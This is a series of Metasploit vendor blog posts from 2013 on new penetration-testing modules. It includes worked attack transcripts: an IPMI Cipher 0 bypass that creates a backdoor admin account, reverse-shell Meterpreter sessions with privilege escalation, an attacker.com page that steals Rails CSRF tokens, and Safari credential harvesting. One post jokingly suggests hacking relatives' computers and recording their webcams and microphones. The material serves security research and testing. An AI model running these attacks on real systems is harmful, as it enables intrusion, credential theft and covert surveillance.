And here are all the names and aliases of people who are credited with at least one commit this year: Jeff Jarmoc, Joe Vennix, g0tmi1k, Karn Ganeshen, scriptjunkie, Peter Toth, Nathan Einwechter, Matt Andreko, Doug P, root, agix, Ramon de C Valle, Console, Bruno Morisson, Charlie Eriksen, bwall, bcoles, shuckins-r7, schierlm, modpr0be, Markus Wulftange, xistence, smilingraccoon, Dejan Lukan, lsanchez-r7, rsmudge, Joshua J. Drake, Mekanismen, ChrisJohnRiley, Rick Flores (nanotechz9l)  12, SphaZ, Roberto Soares Espreto, bmerinofe, MrXors, timwr, Kacper Nowak, Thomas Hibbert, zeknox, AverageSecurityGuy, shellster, darknight007, Brandon Perry, lmercer, Ruslaideemin, KarnGaneshen, Geyslan G. Bem, dummys, jvennix-r7, kaospunk, Brian Wallace, SeawolfRN, Joshua Abraham, J.Townsend, Josh, doug, Robin Wood, dcbz, h0ng10, corelanc0d3r, Matteo Cantoni, salcho, f8lerror, TecR0c, Borja Merino, Jonathan Claudius, Boris, Sven Vetsch / Disenchant, sgabe, jonvalt, heyder, Joshua Harper, xard4s, Rich Lundeen, Brandon McCann, Ricardo Almeida, dougsko, Thomas McCarthy, Cristiano Maruti, John Sherwood, DoI, joernchen of Phenoelit, jamcut, Jon Hart, Alexandre Maloteaux, William Vu, jgor, Tod Beardsley, Davy Douhine, Shelby Spencer, ddouhine, Jonathan, Enrique A. Sanchez Montellano, Stephen Haywood, Charles Smith, trustedsec, ZeroChaos, Dhiru Kholia, Sean Verity, Daniele Martini, Patrick Webster, Thomas Ring, booboule, Tabassassin, Brandon Knight, T0X1C-1, Wolfgang Ettlinger, Frederic Basse, Ryan Wincey, CG, Jose Selvi, Nicholas Davis, joe, Trevor Rosen, Norbert Szetei, rbsec, Fernando Arias, Tyler Krpata, nemski, Henrik Kentsson, Joe Barrett, pyoor, Jonathan Rudenberg, Booboule, Trenton Ivey, Winterspite, ethicalhack3r, Alexia Cole, Rick Flores, Gerry Eisenhaur, Joe Rozner, Paul, MosDefAssassin, Till Maas, Geyslan Gregorio Bem, tkrpata, Vlatko Kosturjak, violet, Juushya, Icewall, Joff Thyer, yehualiu, Sagi Shahar, allfro, rogueclown, danielemartini, Artien Bel, Doug Prostko, Joshua Harper PI GCFE GCFA, Darren Martyn, Newpid0, Thorsten Fischer, Russell Sim, matthiaskaiser, zyx2k, TrustedSec, Matthias Kaiser, Joel Parish, julianvilas, jwpari, cbgabriel, Garret Picchioni, steponequit, Melih SARICA, Julian Vilas, Antoine, LinuxGeek247, ringt, farias-r7, bannedit, Nick Rivera, Stephen Fewer, Bouke van der Bijl, Gregory Man, TabAssassin, Sam Gaudet, luh2, Gary Spillman, Tonimir Kisasondi

 

Oh, that's some sweet, sweet SEO right there. Thanks to every single one of you for your contribution of your time and expertise to the Framework!

 

New Modules

Oh, and hey, we released the final Metasploit update for the year just now, too -- 13 new modules this week, including the veristle intelligence-gathering DNS scraper module from zeknox and an exploit for Red Hat CloudForms from Ramon. Thanks guys!

 

Exploit modules

 

Auxiliary and post modules

 

If you're new to Metasploit, you can get started by downloading Metasploit for Linux or Windows. If you're already tracking the bleeding-edge of Metasploit development, then these modules are but an msfupdate command away. For readers who prefer the packaged updates for Metasploit Community and Metasploit Pro, you'll be able to install the new hotness today when you check for updates through the Software Updates menu under Administration.

 

For additional details on what's changed and what's current, please see Brandont's most excellent release notes.

This post is the sixth in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements in the Metasploit Framework over the course of 2013.

 

This year, infosec superstars Dan Farmer and HD Moore have been making an impressive effort to spread the warnings around the Baseboard Management Controllers (BMCs), used to provide remote management capabilities for servers and installed in nearly all servers manufactured today, and the Intelligent Platform Management Interface (IPMI), the server management protocol running on the BMC. Dan Farmer published a paper on IPMI and BMC security, disclosing several issues found while reviewing the security of the IPMI network protocol that uses UDP port 623. HD put together a set of methods and Metasploit modules available to exploit various of the issues with IPMI. The issues allow IPMI anonymous authentication due to default credentials, retrieve password hashes, and bypass authentication on IPMI 2.0 with the use of cipher type 0.


Let me remind you how to exploit the "Cipher 0" issue because it is nifty! You can just use the ipmi_cipher_zero module to identify systems that have cipher 0 enabled:


  
$ msfconsole
 
       =[ metasploit v4.7.0-dev [core:4.7 api:1.0]
+ -- --=[ 1119 exploits - 638 auxiliary - 179 post
+ -- --=[ 309 payloads - 30 encoders - 8 nops
 
msf> use auxiliary/scanner/ipmi/ipmi_cipher_zero
msf auxiliary(ipmi_cipher_zero) > set RHOSTS 10.0.0.0/24
msf auxiliary(ipmi_cipher_zero) > run
[*] Sending IPMI requests to 10.0.0.0->10.0.0.255 (256 hosts)
[+] 10.0.0.99:623 VULNERABLE: Accepted a session open request for cipher zero
[+] 10.0.0.132:623 VULNERABLE: Accepted a session open request for cipher zero
[+] 10.0.0.141:623 VULNERABLE: Accepted a session open request for cipher zero
[+] 10.0.0.153:623 VULNERABLE: Accepted a session open request for cipher zero


And then use the standard "ipmitool" command-line interface and a valid username to create a backdoor account:


  
$ ipmitool -I lanplus -H 10.0.0.99 -U Administrator -P FluffyWabbit user list
Error: Unable to establish IPMI v2 / RMCP+ session
Get User Access command failed (channel 14, user 1)
 
$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user list
ID  Name         Callin  Link Auth    IPMI Msg   Channel Priv Limit
1   Administrator    true    false      true       ADMINISTRATOR
2   (Empty User)     true    false      false      NO ACCESS
 
$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user set name 2 hdm
$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user set password 2 password
$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user priv 2 4
$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user enable 2
 
$ ipmitool -I lanplus -C 0 -H 10.0.0.99 -U Administrator -P FluffyWabbit user list
ID  Name         Callin  Link Auth    IPMI Msg   Channel Priv Limit
1   Administrator    true    false      true       ADMINISTRATOR
2   hdm              true    false      true       ADMINISTRATOR
 
$ ssh hdm@10.0.0.99
hdm@10.0.0.99's password: password
 
User:hdm logged-in to ILOMXQ3469216(10.0.0.99)
iLO 4 Advanced Evaluation 1.13 at  Nov 08 2012
Server Name: host is unnamed
Server Power: On
 
</>hpiLO->

 

Simple and powerful! Remember, at the time of release Dan and HD found 53,000 IPMI 2.0 systems vulnerable to password bypass due to Cipher 0. If you haven't done so already, you might consider starting the year reviewing the FAQ about the BMC and IPMI research, Dan's paper, and HD Moore's penetration tester's guide!!

 

Not having enough with this research, later this same year HD Moore published the results of a security analysis on the Supermicro IPMI firmware, used in the baseboard management controller (BMC) of many Supermicro motherboards. In this analysis HD found usage of static encryption keys, hardcoded credentials, and several issues on the web management interface, including overflows, of course!

 

Exploiting memory corruption on these ARM-based embedded devices is really a challenging exercise which includes emulation, live exploitation, and keeping a lot of assembly in your head! If you would like to dig into the details, we published a journey into the exploiting too!

 

All in all, an impressive body of research which is worth to check carefully. In the meantime, I'm pretty sure these heavyweights will be working on more and awesome stuff... can't wait until see what 2014 offers the security community!

This post is the fifth in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements in the Metasploit Framework over the course of 2013.

Several weeks ago, Egor Homakov wrote a blog post pointing out a common info leak vulnerability in many Rails apps that utilize Remote JavaScript. The attack vector and implications can be hard to wrap your head around, so in this post I'll explain how the vulnerability occurs and how to exploit it.

What is Remote Javascript?

Remote JavaScript (RJS) was a pattern prescribed by Rails < 2 to implement dynamic web sites. In RJS the user-facing parts of a website (HTML and JS) act as a "dumb client" for the server: when dynamic action is needed, the client calls a JavaScript helper that sends a request to the server. The server then performs the necessary logic and generates and responds with JavaScript code, which is sent back to the client and eval()'d.

The RJS approach has some advantages, as rails creator dhh points out in a recent blog post. However, suffice it to say that RJS breaks down as soon as you need complex client-side code, and a server API that responds with UI-dependent JavaScript is not very reusable. So Rails mostly has moved away from the RJS approach (JSON APIs and client-heavy stacks are the new direction), but still supports RJS out of the box.

So what's the problem?

Unfortunately, RJS is insecure by default. Imagine a developer on a Rails app that uses RJS is asked to make an Ajax-based login pop-up page. Following the RJS pattern, the developer would write some JavaScript that, when the "Login" link is clicked, asks the remote server what to do. The developer would add a controller action to the Rails app that responds with the JavaScript required to show the login form:

class Dashboard
  def login_form
    respond_to do |format|
      format.js do
        render :partial => 'show_login_form'
      end
    end
  end
end

Following the RJS pattern, the show_login_form.js.erb partial returns some JavaScript code to update the login form container:

$("#login").show().html("<%= escape_javascript(render :partial => 'login/form')")

Which, when rendered, produces code such as:

$("#login").show().html("
  <form action='/login' method='POST'
>
  <input type='hidden' name='auth_token' value='XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'>
  <table>
      <tr>
          <td>Name</td>
          <td><input type='text'></td>
      </tr>
      <tr>
          <td>Password</td>
          <td><input type='password'></td>
      </tr>
  </table>
</input>")

Now imagine user Tom is logged into the Rails app (which we'll say is served from railsapp.com). An unrelated website attacker.com might serve Tom the following code:

<html>
  <body>
    <script src='https://railsapp.com/dashboard/login.js'></script>
  </body>
</html>

Because <script> tags are allowed to be cross-origin (this is useful for CDNs), Tom's browser happily sends a GET request to railsapp.com, attaching his railsapp.com cookie. The RJS script is generated and returned to Tom, and his browser executes it. By stubbing out the necessary functions in the global scope, attacker.com can easily gain access to the string of HTML that is sent back:

<html>
  <body>
    <script>
      function $() {
        return {
          show: function() {
            return {
              html: function(str) {
                alert(str);
              }
            };
          }
        };
      }
    </script>
    <script src='http://railsapp.com/dashboard/login.js'></script>
  </body>
</html>

And now attacker.com can easily parse out Tom's CSRF auth token and start issuing malicious CSRF requests to railsapp.com. This means that attacker.com can submit any form in railsapp.com. The same technique can be used to leak other information besides auth token, including logged-in status, account name, etc.

As a pentester, how can I spot this bug while auditing a web app?

It is pretty easy to find this vulnerability. Click around a while in the web app and keep Web Inspector's Network tab open. Look for .js requests sent sometime after a page load. Any response to a .js request that includes private info (auth token, user ID, existence of a login session) can be "hijacked" using an exploit similar to the above PoC.

How can I fix this in my web app?

The fix prescribed by Rails is to go through your code and add request.xhr? checks to every controller action that uses RJS. This is annoying, and is a big pain if you have a large existing code base that needs patching. Since Metasploit Pro was affected by the vulnerability, we needed a patch quick. So I present our solution to the vulnerability - we now check all .js requests to ensure that the REFERER header is present and correct. The only downside here is that your app will break for users behind proxies that strip referers. Additionally, this patch will not work for you if you plan on serving cross-domain JavaScript (e.g. for a hosted JavaScript SDK). If you can stomach that sacrifice, here is a Rails initializer that fixes the security hole. Drop it in ui/config/initializers of your Rails app:

# This patch adds a before_filter to all controllers that prevents xdomain
# .js requests from being rendered successfully.

module RemoteJavascriptRefererCheck
  extend ActiveSupport::Concern

  included do
    require 'uri'
    before_filter :check_rjs_referer, :if => ->(controller) { controller.request.format.js? }
  end

  # prevent generated rjs scripts from being exfiltrated by remote sites
  # see http://homakov.blogspot.com/2013/11/rjs-leaking-vulnerability-in-multiple.html
  def check_rjs_referer
    referer_uri = begin
      URI.parse(request.env["HTTP_REFERER"])
    rescue URI::InvalidURIError
      nil
    end

    # if request comes from a cross domain document
    if referer_uri.blank? or
      (request.host.present? and referer_uri.host != request.host) or
      (request.port.present? and referer_uri.port != request.port)

      head :unauthorized
    end
  end
end

# shove the check into the base controller so it gets hit on every route
ApplicationController.class_eval do
  include RemoteJavascriptRefererCheck
end

And your server will now return a 500 error to any RJS request that does not contain the correct REFERER. A gist is available here, just download and place in $RAILS_ROOT/config/initializers.

This post is the fourth in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements in the Metasploit Framework over the course of 2013.


Every year during a major holiday, we crawl out from our own bat cave and actually spend time with our family and friends. People start asking you what you do for a living? You respond with something you probably regret like "I am a penetration tester.", because to an average person your job title probably sounds no different than a porn star, or that you can start a fire with your thoughts. After some clarification, they kind of grasp of what you do - apparently you do something magical with them computers. And then the inevitable happens: Your ma and pa, brothers and sisters, your uncle, and even the neighbor come to you and ask you to fix their computers, maybe do a demonstration like blowing up a computer like the movie "Live Free or Die Hard" they just saw.

 

Let's face it, you are your family computer wizard, and it's time to put your skills into "good use" like fixing their computers, and get them educated about the risks of accepting candy from strangers on the Internet. If you're a little overwhelmed, fear no more, because with Metasploit in hand you can do ANYTHING... well, almost anything. Here's a few common tricks that we actually find practical during a family reunion:

 

Lost File, Please Recover!

 

Metasploit has two extremely handy data recovery tools you can use. The first one is post/windows/gather/forensics/recovery_files.rb, brought to you by Borja Merino. The other is post/windows/gather/forensics/imager.rb, by Wesley McGrew.

 

The recovery_files module basically tries to recover files that got recently deleted. Borja already made a video while making the module, so we'll let the video do the talking:

 

Screen Shot 2013-12-25 at 2.49.15 PM.png

 

The imager module functions a little bit like the dd command in Unix, except this is for Windows due to the use of Windows API (railgun). It will perform a byte-for-byte imaging of remote disks and volumes. Byte-for-byte obviously can be a time consuming task, so we advice leaving this option last.

 

What's the wireless password again?

 

Say everybody comes home for the holiday, and they've brought in all kinds of gadgets (XBOX One, Kindle Reader, laptops, smart phones, etc). Hey ma, what's the Wifi password? Your parents might not actually know the answer to that, and they blame the technician who set up the network months ago... or was it years ago? Your mission: to find the wifi password.

 

You can most likely do this by physically connecting to the wireless router and reset the password that way. Or on your parent's laptop, you can try the post/windows/wlan/wlan_profile post module to see if you can extract the passphrase from the keyMaterial element in the wifi profile.

 

Forgotten Administrator Password?

 

Sometimes it's almost impossible for a regular human being to not forget a password, like your family. The most common way is to reset it locally, often probably with a bootable disk (depends on the system). However, it is also possible to simply escalate privileges with whatever user account you have, and go from there. The most basic way is by using the "getsystem" command in meterpreter. If that doesn't work, you can try to pick a local exploit module like ppr_flatten_rec:

 

msf exploit(handler) > run

[*] Started reverse handler on 10.0.1.76:4444 
[*] Starting the payload handler...
[*] Sending stage (769024 bytes) to 10.0.1.91
[*] Meterpreter session 2 opened (10.0.1.76:4444 -> 10.0.1.91:49159) at 2013-12-25 16:30:04 -0600

meterpreter > getuid
Server username: WIN-6NH0Q8CJQVM\sinn3r
meterpreter > background
[*] Backgrounding session 2...

msf exploit(handler) > use exploit/windows/local/ppr_flatten_rec 

msf exploit(ppr_flatten_rec) > set session 2
session => 2
msf exploit(ppr_flatten_rec) > run

[*] Started reverse handler on 10.0.1.76:4444 
[*] Launching notepad to host the exploit...
[+] Process 3784 launched.
[*] Reflectively injecting the exploit DLL into 3784...
[*] Injecting exploit into 3784 ...
[*] Exploit injected. Injecting payload into 3784...
[*] Payload injected. Executing exploit...
[*] Exploit thread executing (can take a while to run), waiting 10 sec ...
[*] Sending stage (769024 bytes) to 10.0.1.91
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Meterpreter session 3 opened (10.0.1.76:4444 -> 10.0.1.91:49160) at 2013-12-25 16:31:32 -0600

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

 

If you actually managed to escalate privileges, do them a favor and run a system update too while you're at it :-)

 

 

Hollywood Hacking for Entertainment

 

We haven't figured out how to remotely blow up a computer, but here's a few modules that make hacking easy to understand and fun. Surprisingly, kids love playing with these :

 

Screen Shot 2013-12-25 at 3.07.00 PM.png

Webcam manipulation

 

Controlling webcam is pretty much a standard in Hollywood hacking, and you can do that with Metasploit too. Modules such as post/windows/manage/webcam or post/osx/manage/webcam; or the webcam_snap meterpreter command are great for this . It's not as awesome as Chatroulette like the one to the left though :-)

 

Microphone manipulation

 

Metasploit is also capable of audio recording. You can use the post/osx/manage/record_mic module, or post/multi/manage/record_mic.

 

Video Broadcasting

 

And of course, who can pass on the opportunity of rickrolling everybody on a holiday?

 

There are also plenty of Metasploit modules you can use for entertainment purposes, we encourage all of you to browser around our post module directory tree. But if you don't see anything you like, you can always file a feature request on Redmine and let us know. Or please feel free to submit your own :-)

 

As always, remember to run that msfupdate command to make sure you are up to date with Metasploit. For those of you who are new to Metasploit, you can download a copy here, and may the force be with you.

This post is the third in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements in the Metasploit Framework over the course of 2013.

 

Over the last quarter of 2013, we here in the Democratic Freehold of Metasploit found that we needed to modernize our flagship remote access toolkit (RAT), Meterpreter. That started with cleaving Meterpreter out of the main Metasploit repository and setting it up with its own repository, and then bringing in a dedicated Meterpreter hacker, the indomitable OJ TheColonial Reeves. We couldn't be happier with the results so far.

 

OJ has kindly written up an extensive report of what all he's worked on with Meterpreter and post-exploitation on Windows hosts over on his blog. I encourage you to head on over there and read his 3 Months of Meterpreter. For bullet points, the TL;DR is:

 

  • A Sane Build Environment

The biggest complaint we used to get about Meterpreter is the pain and suffering one had to go through just to build the darn thing. OJ has reworked all that from soup to nuts, and now Meterpreter builds cleanly and easily using Microsoft Visual Studio Express. If this is your complaint as well, please take a look at the README and amaze at the single 'make' command to kick things off.

 

  • Rock Solid Stability

Sometimes, Meterpreter would crash out on the target, often for mysterious reasons. No longer! OJ tackled pretty much all of the outstanding bugs having to do with Meterpreter stability, and it's better than ever now.

 

clipboard.png

  • Securification

Metasploit bread-and-butter exploits tend to be classic stack buffer overflows... so after a code audit, we've patched up all the obvious paths to remote code execution with Meterpreter. While we haven't proven exploitability with the old Meterpreter, we're pretty confident today that you won't get your sessions jacked out from under you by a rival pen-tester. Note, if you're able to successfully subvert a Meterpreter installation, we'd sure appreciate a Metasploit module proving it...

 

  • Enhanced Local Exploits

We've moved the KiTrap0D exploit out of the path for 'getsystem', and promoted it to a proper local exploit for privilege escalation; this has the result of making 'getsystem' procedures a lot more stable in the usual cases, leaving it to the penetration tester to decide if she wants to explore additional avenues of escalating to system privileges. Thanks to the submodule-ing of Stephen Fewer's ReflectiveDLLInjection strategy, we've also refactored the ppr_flatten_rec exploit to be a lot more reliable, as well.

 

  • Bunches of New Features

Along the way with making existing Meterpreter functionality more reliable and easier to use, we've added two heaping handfuls of new functionality; better IPv6 support, refreshed Incognito and mimikatz implementations, more robust environment variable enumeration, a new "Extended API" extension (which incidentally provides a nice roadmap on how to write Meterpreter extensions in general), a framework for interrogating ADSI, and so much more.

 

  • Readable Documentation

Finally, Meterpreter ships with inline, automatically generated documentation using Doxygen, a pretty standard syntax for annotation-based docs. Since you can easily generate the latest docs locally, you no longer have to rely on (or get mislead by) outdated API docs when hacking on Meterpreter.

 

Again, there's tons of details on all this in OJ's post, so if this kind of thing excites you, feel free to roll up your sleeves and dive into Meterpreter's guts. Payload integration in general is kind of what puts the "meta" in Metasploit -- having all this available to exploit developers and penetration testers should make security R&D move long much faster and cleaner, and get you from proof-of-concept to functional shells in real world situations with less time and effort.

 

Happy haXmas!

This post is the second in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements in the Metasploit Framework over the course of 2013.


If you are reading this blog post, I reckon you are somewhat a geeky security person, and you use some sort of application like KeyPass, Keychain, LastPass, etc, to manage your passwords. After all, we all know too well password stealing is a major security issue, and sometimes this is more than enough to get you to all kinds of wonderful places like the domain controller, the CEO's laptop, and all the goodies along the way. It also makes my heart die a little (in a good way, I guess?) when I hear professional penetration testers compromising the entire network by just stealing passwords, reuse or pass-the-hash and all that, while we spend intense amount of time building awesome exploits that they don't actually have to use. I mean, come on, man! :-) But of course, Metasploit creates more than just exploits, it covers the whole offensive package, so password stealing is definitely always on the menu.

 

Recently, I came across an article from SecureList about the discovery of Apple Safari storing session states un-encrypted. The "ah-ha, jackpot!" moment kicked in because stuff like this is such an easy win, and I decided to take a look. The problem is simple: So Apple Safari has this feature that allows you to reopen all the windows from last session with a click on a button, and the magic behind that is by storing these session states in a file named LastSession.plist. This is a binary property list that can be manually converted into a more human readable format by using the built-in plutil command in OS X, and then your session data can be found encoded in Base64. And you don't really have to be a computer genius to decode this, there are tools available online, just let me google that for ya.

 

And yes, I also just described how to write that module. I have been told the best crackers in the world can write this under 60 minutes, but fortunately I've already written it for you, so you can steal this under 60 seconds. Woohoo!

 

Another eye-candy thing is the researcher of the discovery (Mr. Vyacheslav Zakorzhevsky) demonstrated stealing a Gmail credential with the flaw, his screenshot is this:

safari_loophole_01.png

Look closely, and you'll see words like "Email=kaspersky_login&Passwd=kaspersky_passwd", "application/x-www-form-urlencoded", "accounts.google.com"... yeah, those are quite lovely. In case you're curious where this data is from, you can simply find it in Google's login form, specifically at https://accounts.google.com/ServiceLogin, I hope you like HTML:

 

Screen Shot 2013-12-25 at 12.44.12 AM.png

 

To trigger Safari storing your session data, here's an example of how to do that safely in case you want to test it yourself:

 

  1. Go to https://accounts.google.com/ServiceLogin
  2. Enter an invalid username and password, click "Sign In"
  3. Google should tell you the credential is bad, now press refresh.

 

And now that session state should be stored in ~/Library/Safari/LastSession.plist. If you're lazy like me, you can just run Metasploit's post/osx/gather/safari_lastsession module:

 

Screen Shot 2013-12-25 at 12.39.08 AM.png

 

The above test was conducted against Apple Safari version 7.0.1 (9537.73.11) on OS X 10.9.1. Yes, it is the latest version of Safari. Yes, someone did say this was patched in Safari 6.1, except not really. We've already informed the appropriate party to verify this patch information, and I'm sure this will be resolved shortly. Meanwhile, if you are a Safari user, please do this:

 

  1. Open Safari
  2. On your top left corner, click on "Safari" -> "Preferences"
  3. Click on the "Privacy" tab, and you should see the following - I want you to click that "Remove All Website Data" button real hard and make sure your LastSession.plist is cleared:

 

Screen Shot 2013-12-25 at 2.23.35 AM.png

 

Last but not least, if you're still wondering if LastSession.plist is still storing some sensitive data, you can always run the Metasploit module and test it out yourself. Metasploit can be downloaded here if you're new to the game. If you are already a Metasploit user, please make sure to run the msfupdate and that baby will be yours.

 

Oh, and if you do actually extract some username/password, remember to clear your ~/.msf4/loot/ directory. Because the username/password (in plain text) will be stored there, too. The post module should tell you precisely where this file is.

This post is the first in a series, 12 Days of HaXmas, where we take a look at some of more notable advancements in the Metasploit Framework over the course of 2013.

 

This year 2013 disclosure of a banking Trojan modified to look for SAP GUI installations has harisen. A concerning sign that SAP system hacking has gone into mainstream cybercrime.  Once a domain of a few isolated APT attacks, SAP appears to be in the crosshairs of hackers that know just how much sensitive data ERP systems house.  With more than 248,500 customers in 188 countries, SAP may see an increase of attacks and their customers face the threat of data theft, fraud and sabotage.

 

This trend is not really surprising, given that financial, customer, employee and production data reside in a company’s enterprise resource planning (ERP) systems—and they are juicy targets for all sorts of malicious hackers. What’s worse, these systems have often organically grown over decades and are so complex that few people understand their organization’s entire ecosystem, let alone some of SAP’s protocols and components that are not publicly documented. This year, we've made significant effort to make of Metasploit a better SAP pentesting platform, due in a large part to an awesome community we should thank again! (and again, and again...). Because of their awesome work, now there are more than 50 SAP related modules into the framework. So, if you meet some of these guys, stop them and say thank you!

 

 

Thanks to all of them, the most important SAP infrastructure components are now covered by Metasploit, including:

 

  • DIAG/RFC communications, with support for the nwrfc wrapper on the Q Metasploit Repository.
  • The SAP Router.
  • The SAP Management Console.
  • The SAP Internet Communication Manager and the SAP Internet Communication Framework.
  • The J2EE Engine.

 

Not only code has been added to Metasploit. All of these capabilities, and how to use them have been covered on a free research paper which you can download here: “SAP Penetration Testing Using Metasploit - How to Protect Sensitive ERP Data”. And we have published several webcasts where you can learn more about SAP exploitation with Metasploit from the authors:

 

 

So, there are no excuses to not take into account SAP infrastructures when planning the 2014's pentest engagements. The tools are out there!

Recently, FireEye identified and shared information about two vulnerabilities used in the wild to exploit Adobe Reader on Windows XP SP3 systems. The vulnerabilities are:

 

  • CVE-2013-3346: An Use After Free on Adobe Reader. Specifically in the handling of a ToolButton object, which can be exploited through document's Javascript. This vulnerability is used to get remote code execution through a malicious PDF document. The code will be executed in a renderer process, inside the Adobe Reader sandbox if available.
  • CVE-2013-5065: A out of bounds array access on the Windows kernel driver ndproxy.sys. This vulnerability allows to escape the Adobe Reader sandbox so execution of processes and persistence can be easily achieved. As has been already disclosed, remember which the Routing and Remote Access service must be enabled in the target so the NDProxy driver will be available.

 

Metasploit already has modules available for both vulnerabilities:

 

 

In this blog post we're going to explain how to chain both modules to accomplish Adobe Reader Sandbox bypass like in the wild.

 

  • First of all, a session from a Reader renderer process is needed. In order to get it, the file format or the browser version of the adobe_toolbutton exploit can be used. In this example, the browser version is used:

 

  
msf > use exploit/windows/browser/adobe_toolbutton
msf exploit(adobe_toolbutton) > set SRVHOST 192.168.172.1
SRVHOST => 192.168.172.1
msf exploit(adobe_toolbutton) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(adobe_toolbutton) > set LHOST 192.168.172.1
LHOST => 192.168.172.1
msf exploit(adobe_toolbutton) > exploit
[ ] Exploit running as background job.

[ ] Started reverse handler on 192.168.172.1:4444 
[ ] Using URL: http://192.168.172.1:8080/vMrwTnexHFjnis
[ ] Server started.
msf exploit(adobe_toolbutton) > [*] 192.168.172.244  adobe_toolbutton - Gathering target information.
[ ] 192.168.172.244  adobe_toolbutton - request: /vMrwTnexHFjnis/SZLfWc/
[ ] 192.168.172.244  adobe_toolbutton - Sending PDF...
[ ] Sending stage (769024 bytes) to 192.168.172.244
[ ] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.244:1039) at 2013-12-17 16:10:55 -0600

msf exploit(adobe_toolbutton) > sessions -i 1
[ ] Starting interaction with 1...

meterpreter > getuid
Server username: JUAN-C0DE875735\Administrator
meterpreter > sysinfo
Computer        : JUAN-C0DE875735
OS              : Windows XP (Build 2600, Service Pack 3).
Architecture    : x86
System Language : en_US
Meterpreter     : x86/win32
meterpreter > 

 

  • With this session shouldn't be possible to execute a new process, neither migrate to an existent process, because the Reader sandbox will prevent:

 

  
meterpreter > execute -f c:\\windows\\system32\\calc.exe
[-] stdapi_sys_process_execute: Operation failed: Access is denied.
meterpreter > ps -S AcroRd32|cmd
Filtering on process name...

Process List
============

 PID   PPID  Name          Arch  Session     User                           Path
 ---   ----  ----          ----  -------     ----                           ----
 3304  3128  AcroRd32.exe        4294967295                                 
 3336  3304  AcroRd32.exe  x86   0           JUAN-C0DE875735\Administrator  C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.exe
 3824  1452  cmd.exe             4294967295                                 


meterpreter > migrate 3824
[*] Migrating from 3336 to 3824...
[-] Error running command migrate: Rex::RuntimeError Cannot migrate into this process (insufficient privileges)

 

  • Here is where the ms_ndproxy local exploit comes to the rescue. Use it with the current session. Remember which the target process, at the moment, is inside the sandbox, so the exploit will elevate the current one (you can not execute a new process).

 

  
meterpreter > background
[*] Backgrounding session 1...
msf exploit(adobe_toolbutton) > use exploit/windows/local/ms_ndproxy
msf exploit(ms_ndproxy) > set SESSION 1
SESSION => 1
msf exploit(ms_ndproxy) > exploit

[*] Started reverse handler on 10.6.0.165:4444 
[*] Detecting the target system...
[*] Running against Windows XP SP3
[*] Checking device...
[+] \\.\NDProxy found!
[*] Disclosing the HalDispatchTable and hal!HaliQuerySystemInfo addresses...
[+] Addresses successfully disclosed.
[*] Storing the kernel stager on memory...
[+] Kernel stager successfully stored at 0x1000
[*] Storing the trampoline to the kernel stager on memory...
[+] Trampoline successfully stored at 0x1
[*] Storing the IO Control buffer on memory...
[+] IO Control buffer successfully stored at 0xd0d0000
[*] Triggering the vulnerability, corrupting the HalDispatchTable...
[*] Executing the Kernel Stager throw NtQueryIntervalProfile()...
[*] Checking privileges after exploitation...
[+] Exploitation successful! Creating a new process and launching payload...
[!] Unable to create a new process, maybe you're into a sandbox. If the current process has been elevated try to migrate before executing a new process...

 

  • So even when there isn't new session in this case, the original should belong to SYSTEM if the exploit has been successful:

 

  
msf exploit(ms_ndproxy) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > 

 

  • Even when we're still inside a sandboxed process, now we should available to migrate, and finally execute new processes:

 

  
meterpreter > execute -f c:\\windows\\system32\\calc.exe
[-] stdapi_sys_process_execute: Operation failed: Access is denied.
meterpreter > ps -S AcroRd32|cmd
Filtering on process name...

Process List
============

 PID   PPID  Name          Arch  Session  User                           Path
 ---   ----  ----          ----  -------  ----                           ----
 3304  3128  AcroRd32.exe  x86   0        JUAN-C0DE875735\Administrator  C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.exe
 3336  3304  AcroRd32.exe  x86   0        NT AUTHORITY\SYSTEM            C:\Program Files\Adobe\Reader 11.0\Reader\AcroRd32.exe
 3824  1452  cmd.exe       x86   0        JUAN-C0DE875735\Administrator  C:\WINDOWS\system32\cmd.exe


meterpreter > migrate 3824
[*] Migrating from 3336 to 3824...
[*] Migration completed successfully.
meterpreter > execute -f c:\\windows\\system32\\calc.exe
Process 2372 created.
meterpreter > ps -S calc
Filtering on process name...

Process List
============

 PID   PPID  Name      Arch  Session  User                           Path
 ---   ----  ----      ----  -------  ----                           ----
 2372  3824  calc.exe  x86   0        JUAN-C0DE875735\Administrator  c:\windows\system32\calc.exe


meterpreter > 

 

 

Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions or comments

New Adobe Reader ROP Gadgets

This week, Juan Vazquez put together a neat one-two exploit punch that involves a somewhat recent Adobe Reader vulnerability (disclosed back in mid-May) and a sandbox escape via a OS privilege escalation bug. I won't give away the surprise there -- he'll have a blog post about it up in a few hours.  Part of the work, though, resulted in some new entries in Metasploit's RopDB; specifically, for Adobe Reader versions 9, 10, and 11.

 

If you're not already familiar with the RopDB that ships with Metasploit, you can brush up by reading Wei @_sinn3r Chen's write up about ROP chaining from way back in October, 2012, then follow up with his 2013 refresh.  Hopefully, these chains prove to be useful for exploit developers for a while, which should make turnaround for future (and recent past) Reader vulnerabilities quicker and easier.

 

YouTube Broadcasting

We have a fun module this week just in time for Xmas from Wei @_sinn3r Chen, the multi-platform YouTube broadcaster. To use it, simply point to a YouTube video ID (for example, XAg5KjnAhuU), fire it off on your compromised clients (Windows, Linux, or Mac), and amaze at the full-screen display of the video on your target's active desktops.

 

